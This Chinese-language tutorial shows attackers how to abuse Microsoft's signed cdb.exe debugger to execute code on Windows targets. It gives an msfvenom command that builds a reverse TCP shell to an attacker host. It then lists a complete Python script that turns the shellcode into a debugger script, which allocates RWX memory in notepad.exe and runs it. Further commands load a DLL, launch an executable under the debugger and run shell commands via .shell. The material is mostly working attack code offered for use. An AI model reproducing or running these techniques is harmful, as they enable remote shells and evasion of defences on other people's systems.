cdb.exe的利用

cdb.exe的利用

0x01 简介

cdb 是安装 windows debugging tools 时自带的一个命令行调试工具，由微软签发证书。

0x02 cdb.exe加载shellcode

​ cdb.exe是调试工具，可以用来调试指定进程，并且可以在指定进程里分配RWX属性内存并写入shellcode，并执行该内存中的shellcode

首先使用 msfvenom 生成 shellcode。

msfvenom -p windows/x64/shell_reverse_tcp lhost=xxx.xxx.xxx.xxx lport=3333 -f python

接下来，下载脚本https://github.com/Ryze-T/cdb-wds,并将 shellcode 替换为msf生成的。

python3 shellcode2wds.py

shellcode2wds.py脚本

import binascii

buf = "shellcode"

outfile = open("shell.wds","w")
outfile.write(".foreach /pS 5  ( register { .dvalloc 272 } ) { r @$t0 = register }"+"\n")
num = (int)(len(buf)/2)
count = 0

for i in range(num):
    flag = count%4
    if flag == 0:
        outfile.write("\n")
    if count < 16:
        sc_count = "0" + hex(count).upper()
    else:
        sc_count = hex(count).upper()
    x = ";eb @$t0+" + sc_count + " " + buf[i*2:i*2+2].upper()
    count = count + 1
    x= x.replace("0X","")
    outfile.write(x)
extra = num%4
if extra!=0:
    for j in range(4-extra):
        sc_count = hex(count).upper()
        count = count+1
        x = ";eb @$t0+" + sc_count + " 00"
        x = x.replace("0X", "")
        outfile.write(x)

outfile.write("\n" + "r @$ip=@$t0"+"\n")
outfile.write("g"+"\n")
outfile.write("g"+"\n")
outfile.write("q")

然后将生成的shell.wds上传到目标机器并运行以下命令，成功获取到会话。

cdb.exe -pd -cf shell.wds -o notepad.exe

0x03 cdb.exe加载dll

(Error code: Win32 error 0n5 错误，需要使用相应位数的cdb.exe)

推荐自己去下载https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/

路径：

• C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe
• C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe

执行 DLL，首先要将 cdb 附加到指定进程中

cdb.exe -pd -pn notepad.exe

然后使用 .load 命令并指定 DLL 的完整路径。

.load C:\Users\WINDOWS\Downloads\cdb-wds-main\cdb-wds-main\artifact.dll

0x04 cdb.exe 执行exe文件

使用 cdb .exe执行exe文件，该exe将成为cdb.exe子进程，将 cdb 附加到任何正在运行的进程才能运行可执行文件，例如使用记事本

cdb.exe -pd -pn notepad.exe -a "C:\Users\WINDOWS\Downloads\cdb-wds-main\cdb-wds-main\artifact.exe"
g

由于 -pd 标志，您还可以在 cdb 控制台中按 CTRL+C 然后按“q”退出 cdb，而不会影响可执行文件或其附加到的进程。这样做的缺点是失去 cdb 作为父进程。

0x05 cdb.exe执行shell命令

同样，将 cdb 附加到任何进程。

cdb.exe -pd -pn notepad.exe

使用 .shell 运行 shell 命令。

.shell cmd.exe /c whoami